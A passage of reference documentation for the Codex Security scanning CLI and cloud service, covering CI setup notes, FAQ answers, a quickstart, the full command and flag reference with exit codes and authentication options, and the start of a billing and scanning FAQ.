- The workflow checks out the PR head, calculates its merge base, and scans the committed changes between those revisions; full history keeps the target exact. `persist-credentials: false` keeps the repository token out of Git config; installing the CLI before checkout and running its absolute path keeps repository-controlled executables away from the scan credential; `--auth api-key` explicitly selects the scoped key; the scan saves its history in a writable state directory outside the repository (`CODEX_SECURITY_STATE_DIR`).
- `--json` writes one complete JSON document to stdout (progress, summaries, and errors stay on stderr), unlike `codex exec --json`, which emits a JSON Lines event stream. The export step reads a completed, sealed scan and writes SARIF without touching the Codex runtime or credentials. Scan artifacts can contain vulnerable source snippets, evidence, and remediation details; set who can read them and how long to keep them.
- Coverage gaps don't change a completed scan's exit code or bypass its severity policy; exit `0` doesn't mean every file was reviewed (review excluded paths, deferred work, and open questions in `coverage.json`).
- Use a fresh runner directory per CI job; for a persistent or self-hosted runner use `--archive-existing` (archives earlier results and starts with an empty scan directory).
- The examples skip forked pull requests and Dependabot deliberately; run credentialed jobs only from a protected pipeline for trusted contributors. Third-party actions are pinned to full commit SHAs.
- GitLab: for protected default-branch scans, opt-in scheduled deep scans, separate SARIF policy gating, and optional verified draft merge requests see cli-ci-gitlab.md (protected variables, artifact access, and a separate policy gate so GitLab can ingest findings even when the scanner returns nonzero).
- Troubleshoot a CI scan: unknown Git ref or unexpected diff (fetch base and head history, compute the merge base, pass both revisions explicitly); protected or non-empty output directory (private directory outside the enclosing worktree, or `--archive-existing`); missing credentials (`CODEX_SECURITY_API_KEY` available to the trusted workflow and mapped directly to `OPENAI_API_KEY` for the scan process); scan history error (set `CODEX_SECURITY_STATE_DIR` to a writable directory outside the repository); Python setup error (Python 3.10+); incomplete coverage (review `coverage.json` and resolve reported gaps before rerunning); SARIF export error (confirm the scan completed and the full scan directory is available; export validates sealed artifacts); SARIF upload error (GitHub: Code Security enabled and permissions `actions: read`, `contents: read`, `security-events: write`; GitLab: GitLab Ultimate 19.2 or later and a SARIF 2.1.0 file via `artifacts:reports:sarif`).
- To invoke the plugin through `codex exec` see code-changes.md.
## Related
- [Codex Security CLI reference](./cli-reference.md)
- [Run Codex Security in GitLab CI/CD](./cli-ci-gitlab.md)
- [Review code changes for security](./code-changes.md)
references/security/cli-faq.md
# Codex Security CLI FAQ
Answers to common questions about scanning repositories and managing security findings from the terminal (earlier scan results, scan history, new vs known findings, false positives, repeat scans, fix confirmation, coverage, deep-scan time limits, cost limits). For installation and a first scan start with the CLI quickstart.
## Signature / Usage
```bash
npx @openai/codex-security scan /path/to/repository --output-dir /path/outside/repository/codex-security-results
```
This FAQ assumes a working `@openai/codex-security` CLI install and sign-in; see [Codex Security CLI quickstart](./cli-quickstart.md) for setup and the base `scan` command.
## Repository scans
- Why does a scan use an API key after sign-in: with `OPENAI_API_KEY` or `CODEX_API_KEY` set, scans without an interactive terminal and JSON/JSONL scans use the environment API key by default, even after a successful ChatGPT or access-token login; interactive text-output scans ask you to choose when both exist; dry runs don't prompt or load credentials. Select explicitly with `--auth chatgpt` or `--auth api-key`, or run `unset OPENAI_API_KEY CODEX_API_KEY` to make stored credentials the default.
- Can an interrupted bulk scan resume: yes. Run the same command with the original CSV and output directory (completed repositories are skipped); add `--max-attempts 3` to retry temporary repository or scan errors. Completed scans keep their results and aren't retried even when coverage gaps remain, and coverage gaps don't make the campaign exit `2`.
```bash
npx @openai/codex-security bulk-scan repositories.csv \
--output-dir /path/outside/repositories/security-scans \
--workers 4 \
--max-attempts 3
```
## Findings and coverage
```bash
npx @openai/codex-security scans list /path/to/repository # earlier scan results
npx @openai/codex-security scans show SCAN_ID
npx @openai/codex-security scans logs SCAN_ID # unredacted scan and worker events; may contain source or credentials
npx @openai/codex-security findings list /path/to/repository # open findings across all scans
npx @openai/codex-security scans compare PREVIOUS_SCAN_ID CURRENT_SCAN_ID
npx @openai/codex-security findings false-positive FINDING_OCCURRENCE_ID \
--reason "The framework escapes this input before it reaches the query"
npx @openai/codex-security scans rerun BASELINE_SCAN_ID
npx @openai/codex-security validate /path/to/original/findings.json \
"Recheck the SQL injection in src/orders.ts:42 against the current code"
```
- What if the CLI can't save scan history: scan history lives in a workbench database; if the default state directory isn't writable set `export CODEX_SECURITY_STATE_DIR=/path/outside/repository/codex-security-state` (a private directory outside the repository).
- New vs known findings: `findings list` shows findings confirmed in the latest scan and earlier open findings it didn't confirm. `scans compare` matches findings by root cause, reuses saved matches, and reports new, persisting, reopened, not observed, resolved, and unknown findings; a finding not found in the code a later scan covered is not observed and counts as resolved only after being explicitly closed as already fixed; excluded paths and uncertain matches remain unknown.
- False-positive feedback: inspect the saved scan for the occurrence ID, then record the reason; future scans of the repository receive it as context but still independently check current source, controls, and reachability; a dismissal doesn't suppress a rule, path, or vulnerability class.
- Repeat scans can differ: AI-assisted scans vary even with the same configuration. Rerun the baseline (`scans rerun` keeps the original configuration and requires the same plugin version; it stops if the plugin changed), compare with `scans compare BASELINE REPEAT`, provide shared architecture and security guidance when missing context may cause variation, and directly recheck any important finding that disappears. Matching doesn't make scans deterministic.
- Confirm a fix: recheck the original finding against the changed checkout with `validate`, review evidence that the vulnerable path is closed and legitimate behavior still works, run the original reproducer or regression test when available, and note remaining uncertainty if the check can't run. A scan comparison can show how findings changed, but a missing finding alone doesn't verify a fix.
- What does incomplete coverage mean: review `coverage.json` for excluded paths, deferred surfaces, and open questions; new results don't include a coverage-completeness field; check `scan.status` in `scan-manifest.json`. Coverage gaps don't change a completed scan's exit code (exit `0` doesn't mean every file was reviewed), and a later scan can't establish that an earlier finding is gone when it doesn't cover that finding's original path.
## Automation and cost
```bash
npx @openai/codex-security scan . --mode deep --max-time-hours 1.5
npx @openai/codex-security scan . --max-cost 5
npx @openai/codex-security install-hook
npx @openai/codex-security scan . --diff origin/main --fail-on-severity high
```
- Deep-scan time limits: `--max-time-hours` defaults to `96` (any positive value up to `96`, including fractions). At the deadline unfinished workers stop, completed standard-scan results are kept and aggregated into the final report (check it for reviewed areas and deferred work); the deadline alone doesn't determine the exit code. For persistent settings or bulk campaigns set `max_time_hours` under `[deep_scan]` in the deep-scan configuration.
- Scan cost limits: `--max-cost` is an estimate, not a hard cap; in-progress requests can finish above it. If a deep scan reaches the limit after aggregating completed worker results the CLI can save a completed report with a budget warning (exit `0`, or `1` if findings meet the severity threshold); otherwise it returns `2` and preserves available output. For pull-request checks see cli-ci.md; for a check before each commit use `install-hook`.
## Notes
- AI-assisted scans can vary even with the same configuration; rerun the baseline and use `scans match` / `scans compare` to track variation.
- Another application can run scans directly via the [TypeScript SDK](./sdk.md).
- Earlier revisions of this page referenced `--knowledge-base`, `--diff`, `--fail-on-severity` as FAQ answers and said partial or unknown coverage returns exit `2`; the current FAQ covers the questions above instead (flags remain documented in cli-reference.md).
## Related
- [Codex Security CLI quickstart](./cli-quickstart.md)
- [Codex Security CLI reference](./cli-reference.md)
- [Run bulk security scans](./cli-bulk-scans.md)
- [Run Codex Security in CI](./cli-ci.md)
references/security/cli-quickstart.md
# Codex Security CLI quickstart
Run a standard scan of a local repository with the standalone Codex Security CLI (`@openai/codex-security`). This quickstart ends with a saved report you can review and revisit. For scans inside a Codex conversation use the Codex Security plugin.
## Signature / Usage
Prerequisites: Node.js 22 (22.13.0 or later), 24, or 26, plus Python 3.10 or later (Python 3.10 also needs `tomli`). Scans using OpenAI inference require Codex Security access; depending on your account and repository, full-repository scans may also require Trusted Access for Cyber. The CLI runs with your operating-system permissions and doesn't pause for approval; scan processes can inherit your environment, so remove unrelated credentials first.
```bash
npx @openai/codex-security --version # prints the installed package version
npx @openai/codex-security info --json # bundled plugin version
npx @openai/codex-security --help
```
Sign in:
```bash
npx @openai/codex-security login
npx @openai/codex-security login --device-auth # machine without a browser
```
Prepare and run a scan:
```bash
REPOSITORY=/path/to/repository
SCAN_DIR=/path/outside/repository/codex-security-results
# Check the target and output location (doesn't start a scan or load credentials)
npx @openai/codex-security scan "$REPOSITORY" \
--auth chatgpt --output-dir "$SCAN_DIR" --dry-run
# Run the scan
npx @openai/codex-security scan "$REPOSITORY" \
--auth chatgpt --output-dir "$SCAN_DIR"
```
Revisit a saved scan:
```bash
npx @openai/codex-security scans list "$REPOSITORY"
npx @openai/codex-security scans show SCAN_ID
```
## Options / Props
| Name | Description |
|------|-------------|
| `--auth chatgpt` | Select ChatGPT sign-in even when your environment also contains an API key. For API keys and other providers see "Select scan authentication" in cli-reference.md; for Amazon Bedrock use AWS credentials and model access instead of a ChatGPT sign-in or OpenAI API key. |
| `--output-dir <dir>` | Results location; choose a private directory outside the repository's Git worktree. If omitted, the CLI uses its persistent state directory. |
| `--dry-run` | Confirms local inputs only; doesn't start a scan, load credentials, or check the plugin's Python interpreter. |
| `--headless` | Use progress lines even in an interactive terminal. |
| `--json` | Machine-readable stdout. |
## Notes
- Results can include source excerpts and vulnerability details. An interactive terminal shows a live dashboard (non-interactive terminals show progress lines); the dashboard and saved logs can contain source code or credentials, so review them before sharing. When the scan finishes, stderr includes the report path, finding count, and elapsed time (e.g. `REPORT`, `FINDINGS 2 (2 confirmed this scan; 0 previously found; 1 high, 1 medium)`, `ELAPSED`, `RESULTS`).
- By default, finding severity doesn't cause a scan to fail; to make findings fail a CI check set a severity policy (see cli-ci.md).
- Review the results: open `report.md`, confirm the target and revision, then read the coverage before individual findings. Check `scan.status` in `scan-manifest.json` for completion and `coverage.json` for reviewed surfaces, excluded paths, deferred work, and open questions. A completed scan exits `0` unless findings meet a configured severity threshold (`1`); coverage gaps don't change the exit code, so exit `0` doesn't mean every file was reviewed; input, execution, result-integrity, or required-output failures return `2`. For each finding check the affected code, attacker prerequisites, validation evidence, and remaining uncertainty (a source-based finding doesn't necessarily include a successful runtime reproduction). Keep the scan directory together (`scan-manifest.json`, `findings.json`, `coverage.json`, the report, and supporting artifacts).
- After a complete interactive scan with findings, the CLI also offers a finding browser; for saved findings use the validate and patch commands in cli-reference.md.
- Choose the next scan: select paths or a diff, configure deep scans, add security context, change the model or reasoning effort, set an estimated cost limit, bulk scans (cli-bulk-scans.md), and CI (cli-ci.md); all flags are in cli-reference.md. For authentication problems, repeat-scan differences, or false-positive feedback see cli-faq.md. Package changes are listed in the CLI and SDK releases on GitHub.
- Earlier revisions of this page also documented `--base`, `--diff`, `--working-tree`, `--path`, `--mode`, `--effort`, `--model`, `--fail-on-severity`, `--knowledge-base`, and `CODEX_SECURITY_STATE_DIR`; the current quickstart doesn't cover them (see cli-reference.md).
## Related
- [Codex Security CLI reference](./cli-reference.md)
- [Run bulk security scans](./cli-bulk-scans.md)
- [Run Codex Security in CI](./cli-ci.md)
- [Codex Security CLI FAQ](./cli-faq.md)
- [Codex Security TypeScript SDK](./sdk.md)
references/security/cli-reference.md
# Codex Security CLI reference
Supported `codex-security` commands, flags, output formats, and exit behavior for the `@openai/codex-security` package. The package is public; scans using OpenAI inference require Codex Security access. Scans use your local permissions and don't pause for approval (see "Local scan permissions" below). Run the CLI with `npx @openai/codex-security`.
## Signature / Usage
```bash
npx @openai/codex-security --help
npx @openai/codex-security scan --help
npx @openai/codex-security --version
npx @openai/codex-security info --json
npx @openai/codex-security --llms # agent-readable command manifest
npx @openai/codex-security scan --schema --format json # scan argument schema as JSON
npx @openai/codex-security completions bash # or zsh, fish
npx @openai/codex-security mcp add # register as an MCP server (read-only `info` only)
npx @openai/codex-security skills add # sync Codex Security skills to agents
```
`--version` and `info --json` don't require Python. Scan results support `--format toon|json|yaml|jsonl` and `--full-output` (framework-level `--format` is separate from `--export-format`; global help also lists `md`, but scan results don't support Markdown output). MCP exposes only the read-only `info` command; scans, exports, authentication, validation, patching, and publication remain CLI-only.
## Commands
| Command | Purpose |
|---------|---------|
| `codex-security scan` | Run a Codex Security scan |
| `codex-security install-hook` | Install a Git pre-commit security scan |
| `codex-security bulk-scan` | Discover repositories and run resumable bulk scans |
| `codex-security scans` | List, inspect, compare, and retrieve saved scan logs |
| `codex-security findings` | Review and update saved security findings |
| `codex-security export` | Export completed findings as CSV, JSON, or SARIF |
| `codex-security publish` | Publish completed scan findings to Linear |
| `codex-security validate` | Check one or more candidate security findings |
| `codex-security patch` | Patch one or more security issues |
| `codex-security login` / `logout` | Sign in, store credentials, or check status / remove the stored sign-in |
| `codex-security info` | Read-only SDK and bundled-plugin metadata |
| `codex-security completions` / `mcp` / `skills` | Integration commands |
## `scan`
```text
usage: codex-security scan [-h] [--auth {auto,chatgpt,api-key}]
[--provider {openai,openrouter,fireworks,amazon-bedrock}]
[--path PATH | --diff BASE | --working-tree]
[--head HEAD] [--base BASE]
[--knowledge-base PATH] [--scan-prompt-file FILE]
[--post-scan-prompt-file FILE]
[--mode {standard,deep}] [--workers N]
[--subagents N] [--stop-after-no-new N]
[--max-discovery-runs N] [--max-time-hours HOURS]
[--model MODEL]
[--effort {minimal,low,medium,high,xhigh,max}]
[--output-dir DIR] [--archive-existing]
[--plugin-path PATH] [--python PATH]
[--codex KEY=VALUE] [--fail-on-severity LEVEL]
[--patch] [--patch-severity {critical,high,medium,low}]
[--create-pr]
[--max-cost USD] [--dry-run] [--headless] [--verbose]
[--json] [--format {toon,json,yaml,jsonl}]
[--full-output] [repository]
```
`repository` defaults to the current directory.
Target selection (choose one target type per scan):
| Argument | Description |
|----------|-------------|
| `--path PATH` | Scan a path relative to the repository; repeatable |
| `--diff BASE` | Scan committed changes from `BASE` to `--head` (head defaults to `HEAD`) |
| `--head HEAD` | Head revision for `--diff` (requires `--diff`) |
| `--working-tree` | Scan staged and unstaged changes against `--base` (base defaults to `HEAD`) |
| `--base BASE` | Base revision for `--working-tree` (requires `--working-tree`) |
| `--mode {standard,deep}` | Scan mode, default `standard` |
`--path`, `--diff`, and `--working-tree` are mutually exclusive. Deep mode supports repository and path targets. Diff and working-tree scans require the repository argument to be the Git worktree root and the refs to exist in that checkout.
Deep scan options (with `--mode deep`; not available for standard scans):
| Argument | Description |
|----------|-------------|
| `--workers N` | Concurrent independent standard-scan workers (default `4`) |
| `--subagents N` | Subagents available to each worker (default `3`; accepts zero) |
| `--stop-after-no-new N` | Stop after `N` consecutive completed worker scans find no new issues (default `4`) |
| `--max-discovery-runs N` | Limit on total independent standard-scan runs (default `40`) |
| `--max-time-hours HOURS` | Worker execution time limit (default `96`; positive, at most `96`; accepts fractions) |
Persistent defaults go in `~/.codex/codex-security/config.toml` (or `$CODEX_HOME/codex-security/config.toml`); command-line options override them. `stop_after_consecutive_errors` (default `3`) can only be set in the TOML file:
```toml
[deep_scan]
workers = 2
subagents = 0
stop_after_no_new = 3
max_discovery_runs = 10
max_time_hours = 1.5
```
Security context and instructions: `--knowledge-base PATH` (repeatable; `.md`, `.markdown`, `.txt`, `.pdf`, `.docx`; directories searched recursively; linked inputs rejected; extracted content kept outside saved results), `--scan-prompt-file FILE`, and `--post-scan-prompt-file FILE` (follow-up in the same authenticated session after successful scans and scan errors; a failing follow-up only warns; doesn't run after cancellation or at the cost limit).
Output and policy:
| Argument | Description |
|----------|-------------|
| `--output-dir DIR` | Write artifacts to a private directory outside the enclosing Git worktree (defaults to persistent Codex Security state) |
| `--archive-existing` | Move existing results to `DIR.previous-<timestamp>-<id>`; requires `--output-dir` |
| `--fail-on-severity LEVEL` | Exit `1` when a completed scan reports a finding at or above `critical` / `high` / `medium` / `low` |
| `--patch` | Fix and verify selected findings after a complete scan (CLI 0.1.15+) |
| `--patch-severity LEVEL` | Patch findings at or above this severity (default `low`) |
| `--create-pr` | Commit verified patch files and open a GitHub pull request; requires `--patch` |
| `--max-cost USD` | Stop when estimated model cost exceeds this amount (an estimate, not a hard cap) |
| `--dry-run` | Check repository, target, knowledge base, output directory, and Codex configuration without starting a scan |
| `--headless` | Plain-text progress instead of the interactive dashboard |
| `--verbose` | Redacted lifecycle, authentication, progress, and cost diagnostics to stderr |
| `--json` / `--format FORMAT` / `--full-output` | Structured results on stdout |
Runtime:
| Argument | Description |
|----------|-------------|
| `--auth {auto,chatgpt,api-key}` | Credential selection, default `auto` |
| `--provider {openai,openrouter,fireworks,amazon-bedrock}` | Inference provider, default `openai` |
| `--model MODEL` | Default `gpt-5.6-sol`; required for OpenRouter, Fireworks, and Amazon Bedrock |
| `--effort {minimal,low,medium,high,xhigh,max}` | Default `xhigh` |
| `--plugin-path PATH` | Override the bundled plugin (directory or ZIP) |
| `--python PATH` | Python interpreter for the plugin runtime |
| `--codex KEY=VALUE` | Override an isolated Codex config value (TOML syntax; quote strings, e.g. `--codex 'model="gpt-6.1-sol"'`); repeatable |
Examples:
```bash
npx @openai/codex-security scan . --model gpt-6.1-sol --effort medium
npx @openai/codex-security scan . --diff origin/main --output-dir /path/outside/repository/results --json --fail-on-severity high
npx @openai/codex-security scan . --patch --patch-severity high --json
npx @openai/codex-security scan . --mode deep --workers 2 --subagents 0 --stop-after-no-new 3 --max-discovery-runs 10 --max-time-hours 1.5
```
## `install-hook`, `bulk-scan`
```bash
npx @openai/codex-security install-hook
npx @openai/codex-security install-hook . --fail-on-severity medium
npx @openai/codex-security bulk-scan repositories.csv --output-dir /path/outside/repositories/security-scans --workers 4
```
`install-hook` scans staged and unstaged changes before each commit, blocks high-severity findings or scan errors, respects `core.hooksPath`, and doesn't replace an existing pre-commit script. `bulk-scan [input]` accepts `--output-dir`, `--workers` (default `4`, concurrent repository scans), `--mode`, `--provider`, `--model`, `--effort`, `--knowledge-base`, `--scan-prompt-file`, `--post-scan-prompt-file`, `--max-attempts` (default `1`), `--plugin-path`, `--python`, `--codex`; with no arguments it selects repositories interactively (requires a GitHub CLI sign-in). The CSV requires `id`, `repository`, `revision` (full commit hash) with optional `scope`, `mode`, `prompt` (appended after the shared scan prompt). Re-running resumes from an existing output directory and skips completed scans; completed scans aren't retried for coverage gaps or severity violations. See [Run bulk security scans](./cli-bulk-scans.md).
## `scans`, `findings`, `export`
```bash
npx @openai/codex-security scans # list for the current directory
npx @openai/codex-security scans list /path/to/repository
npx @openai/codex-security scans list --scan-root /path/outside/repository/results
npx @openai/codex-security scans show SCAN_ID # --show-linked-findings adds links from earlier scans
npx @openai/codex-security scans rerun SCAN_ID # stops if the plugin version differs from the original
npx @openai/codex-security scans logs SCAN_ID # unredacted session events; --json for structured output
npx @openai/codex-security scans compare PREVIOUS_SCAN_ID CURRENT_SCAN_ID
npx @openai/codex-security scans match PREVIOUS_SCAN_ID CURRENT_SCAN_ID # --force recomputes; `match --all` for all completed scans
npx @openai/codex-security findings list [/path/to/repository] # --json
npx @openai/codex-security findings false-positive OCCURRENCE_ID --reason "The framework escapes this input before it reaches the query"
npx @openai/codex-security export /path/to/scan --export-format sarif --source-root /path/to/repository --output /path/outside/repository/exports/results.sarif
```
Comparison classes: new, persisting, reopened, not observed, resolved, unknown (unknown when a path is excluded or the match is uncertain; not observed when the later scan doesn't find it in scanned code; resolved only when explicitly closed as already fixed). `findings list` shows findings seen in the latest scan and earlier findings not confirmed there (they remain open until resolved or dismissed). A false-positive reason must not be empty; it is saved as repository context for future scans and doesn't suppress a rule, path, or vulnerability class. `export`: `--export-format {csv,json,sarif}` (default `sarif`), `--output FILE|-`, `--source-root PATH` (SARIF only; adds source-line fingerprints), `--python PATH`; default files `results.sarif`, `findings.json`, `findings.csv` in the current directory; JSON preserves the sealed findings document, CSV has portable columns without local workbench triage state. Exports can contain source excerpts, so write outside the repository.
## `publish scan`
```text
usage: codex-security publish scan [SCAN_DIR] --to linear
[--linear-team TEAM_ID] [--project PROJECT_ID]
[--linear-api-key KEY]
[--linear-assignee EMAIL_OR_USER_ID]
[--dry-run] [--json]
```
Publishes every finding from a completed, sealed scan to Linear (`CODEX_SECURITY_LINEAR_TEAM`, `CODEX_SECURITY_LINEAR_PROJECT`, `CODEX_SECURITY_LINEAR_API_KEY` env fallbacks; `--linear-assignee` requires an API key; issues stay unassigned when omitted). Without an API key the command starts Codex with your connected Linear app (run `login` first); with `--linear-api-key` / `CODEX_SECURITY_LINEAR_API_KEY` it publishes directly via the Linear API (prefer the env var over the flag). `--dry-run` prepares payloads without contacting Linear. Each non-dry-run invocation creates a new issue per finding (re-publishing doesn't reuse issues); if some findings fail it preserves created issues and exits `2` (review `created` / `failed` with `--json` before retrying). Issue descriptions can include source snippets and vulnerability details; check who can view the destination.
## `validate` and `patch`
```bash
npx @openai/codex-security validate findings.json "Possible SQL injection in src/query.ts:42"
npx @openai/codex-security patch findings.json "Missing authorization check in src/routes.ts:18"
npx @openai/codex-security validate "Possible SQL injection" --effort high
npx @openai/codex-security patch OCCURRENCE_ID
npx @openai/codex-security patch --scan SCAN_ID --severity high --json # --scan latest = latest completed scan
npx @openai/codex-security patch --scan SCAN_ID --severity high --create-pr
npx @openai/codex-security patch --linear-issue SEC-123 --linear-issue SEC-124
npx @openai/codex-security patch --linear-project "Security backlog" --linear-filter '{"labels":{"name":{"eq":"security"}}}'
```
Each positional argument accepts literal text or a file path (current directory); `--effort` selects reasoning effort. Comparing scans alone doesn't prove a fix worked; use `validate` to recheck. Saved-finding commands support `--json` (literal-text and file inputs don't). `--create-pr` commits only verified patch files and opens a PR with the GitHub CLI; if push or PR creation fails, run the printed `patch --resume-pr BRANCH` from the same repository. Linear: set `CODEX_SECURITY_LINEAR_API_KEY` or `LINEAR_API_KEY` (personal key) or `LINEAR_ACCESS_TOKEN` (OAuth); the CLI excludes completed and canceled issues unless the filter sets `state` and doesn't change the Linear issues. Verified and already-fixed findings don't trigger `--fail-on-severity`.
## `login`, `logout`, `info`
```bash
npx @openai/codex-security login
npx @openai/codex-security login --device-auth
npx @openai/codex-security login status
npx @openai/codex-security logout
printenv OPENAI_API_KEY | npx @openai/codex-security login --with-api-key
printenv CODEX_ACCESS_TOKEN | npx @openai/codex-security login --with-access-token
```
## Options / Props
| Name | Type | Default | Description |
| --- | --- | --- | --- |
| `--auth` | `auto` / `chatgpt` / `api-key` | `auto` | `chatgpt` uses stored credentials; `api-key` uses the environment `OPENAI_API_KEY` / `CODEX_API_KEY` |
| `--provider openrouter` | string | — | Requires `OPENROUTER_API_KEY`; example model `anthropic/claude-sonnet-4.5` |
| `--provider fireworks` | string | — | Requires `FIREWORKS_API_KEY`; example model `accounts/fireworks/models/qwen3-235b-a22b` |
| `--provider amazon-bedrock` | string | — | Uses AWS credentials (`AWS_PROFILE` + `AWS_REGION`, `AWS_BEARER_TOKEN_BEDROCK`, or the standard AWS credential chain; temporary access keys need `AWS_SESSION_TOKEN`); no `--auth`, OpenAI login, or OpenAI API key needed |
| `--model` | string | — | Model ID for the selected provider (Bedrock model ID for `amazon-bedrock`) |
| Bedrock access | Model ID | Region |
|----------------|----------|--------|
| Daybreak Blue | `openai.gpt-daybreak-blue-5.6-sol` | `us-east-2` |
| Daybreak Red | `openai.gpt-5.6-cyber` | `us-east-2` |
## Notes
- Authentication selection (`--auth auto`): when both a ChatGPT sign-in and `OPENAI_API_KEY` / `CODEX_API_KEY` exist, interactive text-output scans ask which to use; CI, JSON and JSONL scans, and other non-interactive scans use the environment API key; dry runs don't prompt or load credentials. `unset OPENAI_API_KEY CODEX_API_KEY` makes stored credentials the automatic default.
- `openrouter` and `fireworks` providers also support `bulk-scan`.
- Daybreak Blue and Daybreak Red require Trusted Access for Cyber approval (enterprise access application or your OpenAI account team), then AWS provisioning on Bedrock; Daybreak Red approval doesn't include GPT-5.6-Cyber, which requires separate U.S. government approval. Saved local reports, `scans show`, and `export` work without cloud credentials; uploading to Codex Security Cloud needs a separate ChatGPT sign-in. `info` and `scan --dry-run` don't test AWS credentials or model access; run a scan to check. `@openai/codex-security@0.1.31` supports Amazon Bedrock scans but doesn't provide cost estimates or support `--max-cost` for the Daybreak model IDs.
- Time limit: when `--max-time-hours` expires the scan stops unfinished workers, keeps completed results, and aggregates them into the final report (the deadline alone doesn't determine the exit code). The cost limit is an estimate: in-progress requests can finish slightly above it; if a deep scan reaches the limit after aggregation it can seal a completed result with a budget warning (exit `0`, or `1` if findings meet the threshold), otherwise it returns `2`.
- Result locations: without `--output-dir`, results persist under `$CODEX_HOME/state/plugins/codex-security/scans/<repository>` (`CODEX_HOME` defaults to `~/.codex`); `CODEX_SECURITY_STATE_DIR` moves them to `$CODEX_SECURITY_STATE_DIR/scans/<repository>` and also moves the workbench database (`workbench.sqlite3`). The output directory must be outside the scanned directory and enclosing Git worktree; results can contain source excerpts and vulnerability details.
- Scan output: by default progress, completion summaries, and errors go to stderr; interactive terminals show a live dashboard (phase, reviewed files, activity, token usage, estimated cost) whose session details aren't redacted. The completion summary shows open repository finding count, severity breakdown, elapsed time, report path, result directory, and token usage and estimated cost when available; informational findings count toward the total, but severity policies evaluate only `critical`, `high`, `medium`, `low` findings from the current scan. `CODEX_SECURITY_LOG_LEVEL=debug` (or `LOG_LEVEL=debug` when unset) enables the `--verbose` diagnostics.
- `scan --json` top-level shape: `manifest`, `repositoryFindings`, `findings`, `coverage`, `scanDir`, `threadId`, `reportPath`, `artifactsDir`, `sarifPath`, `cost`, `turn` (`id`, `status`, `durationMs`, `finalResponse`, `usage`); patching adds patch results and any created PR. A completed scan still prints the full JSON when a severity policy returns exit `1`. `codex-security scan --json` emits one JSON document, while `codex exec --json` emits a JSON Lines event stream.
- Scan artifacts: `scan-manifest.json` (identity, status, target, scope, producer, sealed artifact records with hashes), `findings.json`, `coverage.json` (reviewed surfaces, exclusions, deferred work, open questions), `report.md`, `artifacts/`, `exports/results.sarif` (when produced). `scan.status` in the manifest is `completed`, `failed`, `canceled`, or `interrupted`. New results don't include `coverage.completeness`; review `coverage.json` for what the scan reviewed.
- Exit codes: `0` scan or bulk campaign completed and passed its severity policy, publication completed without failures, or another command succeeded; `1` a completed scan or bulk campaign reports a finding at or above the configured severity; `2` input, execution, result-integrity, required-output, or export failure, or a publication has failed findings; `130` Ctrl-C; `143` SIGTERM. Coverage gaps don't change a completed scan's exit code or bypass its severity policy; exit `0` doesn't mean every file was reviewed. With structured output, completed scans and partial publications still write available results to stdout.
- Local scan permissions: CLI and SDK scans use the `codex_security_scan` filesystem profile with `approvalPolicy = "never"`: reading the local filesystem and writing to workspace roots and the selected scan state directory, with no interactive approval. `--codex` / SDK `codexOverrides` (including `approval_policy`, `sandbox_mode`, filesystem permissions) can't replace or restrict these controls; host and network restrictions still apply. Scan and workbench processes can inherit your environment (unrelated API tokens, cloud credentials), so remove them first.
- Prerequisites: Node.js 22 (22.13.0 or later), 24, or 26; scans, bulk scans, exports, scan history, and saved findings also need Python 3.10+ (3.10 needs `tomli`); use `--python` with `scan`, `bulk-scan`, or `export`, or set `PYTHON`. For CI keep the API key scoped to the scan step in a trusted workflow. Set `OPENAI_API_KEY` or `CODEX_API_KEY`, sign in with `login`, or use an existing file-backed Codex sign-in.
- Earlier revisions of this page said incomplete coverage returns exit `2` and listed `coverage.completeness` values (`complete` / `partial` / `unknown`); the current official page says coverage gaps don't change the exit code and new results don't include `coverage.completeness`.
## Related
- [Codex Security CLI quickstart](./cli-quickstart.md)
- [Run bulk security scans](./cli-bulk-scans.md)
- [Codex Security CLI FAQ](./cli-faq.md)
- [Run Codex Security in CI](./cli-ci.md)
- [Codex Security TypeScript SDK](./sdk.md)
references/security/cloud-faq.md
# Codex Security Cloud FAQ
Answers for Codex Security Cloud: billing, scanning, findings and validation, and fixes. For installation and a first scan use cloud-setup.md; local scans have separate plugin and CLI guides.
## Signature / Usage
Codex Security is an LLM-driven security analysis toolkit that inspects source code and returns structured, ranked vulnerability findings with proposed patches. It runs analysis in an ephemeral, isolated container, temporarily clones the target repository, and returns findings with description, file/location, criticality, root cause, and suggested remediation. It complements SAST rather than replacing it.
## Analysis pipeline
1. **Analysis** — builds a threat model for the repository
2. **Commit scanning** — reviews merged commits and repository history for likely issues
3. **Validation** — tries to reproduce likely vulnerabilities in a sandbox to reduce false positives
4. **Patching** — integrates with Codex to propose patches that reviewers inspect before opening a PR
## Billing
- How are Cloud scans billed: repository scans and continuous scans set up after October 1, 2026, at 12:53 PM Pacific are billed based on token usage at your plan's rates, in credits or USD depending on your billing plan; free scanning credits apply first for eligible accounts. This usage isn't covered by your plan's included usage allowance. Continuous scans set up before that cutoff are free until October 21, 2026; afterwards they are billed at regular token rates if you enable paid usage, otherwise they pause.
- Free period or credits: if continuous scanning was set up before October 1, 2026, at 12:53 PM Pacific, covered continuous scans remain free until October 21, 2026 (this doesn't cover repository scans or later-set-up continuous scanning); otherwise eligible accounts receive $500 in free scanning credits instead. Repository scans and continuous scanning share the same free balance, everyone in a workspace shares it, it doesn't expire, and further scanning is billed under the account's or workspace's billing plan once it runs out.
- When the free continuous-scanning period ends: select **Keep scans running** and enable paid usage to continue (billed at regular token rates); if you opt out or don't enable paid usage those scans pause, and **Re-enable scans** enables paid usage afterwards. In a workspace, ask a workspace owner if you lack permission.
- Token usage and charges: open a scan in **Scans**; hover over the token count for input, cached input (included in the input count, not added on top), and output tokens. Usage shows the cost before free scanning credits or billing exemptions plus any amount covered by credits; scans marked "Exempt from billing. No charges apply." incur no charges even when they show usage.
## Scanning
- Does the project need to be built: source can be analyzed without a successful build; validation may need dependencies or a working build (configure them in the Codex cloud environment); if validation can't run, inspect what the finding establishes from source versus runtime or deployment behavior. It may attempt a build inside the container during auto-validation.
- Languages: language-agnostic; results depend on the model's ability to reason about the language and framework and on the available repository context; a successful scan doesn't imply equal coverage across languages or components, so check the report for the scope actually reviewed.
- Repository scans vs commit monitoring: a **One-Time Scan** reviews the repository once; **Continuous Scanning** monitors new commits and can review selected commit history (enable it after the first scan; see "Monitor new commits" in cloud-setup.md).
- Pause commit monitoring: open **Repositories**, select the repository, open **Monitoring settings**, set monitoring to **Paused**, and select **Save**; enable it again from the same settings.
- Edit the threat model: yes, in the monitored repository's **Monitoring settings** when architecture, deployment, or security assumptions change (changes apply to future scans; see threat-model.md). A threat model is the scan-time security context (project overview plus entry points, trust boundaries, auth assumptions, risky components).
## Findings and validation
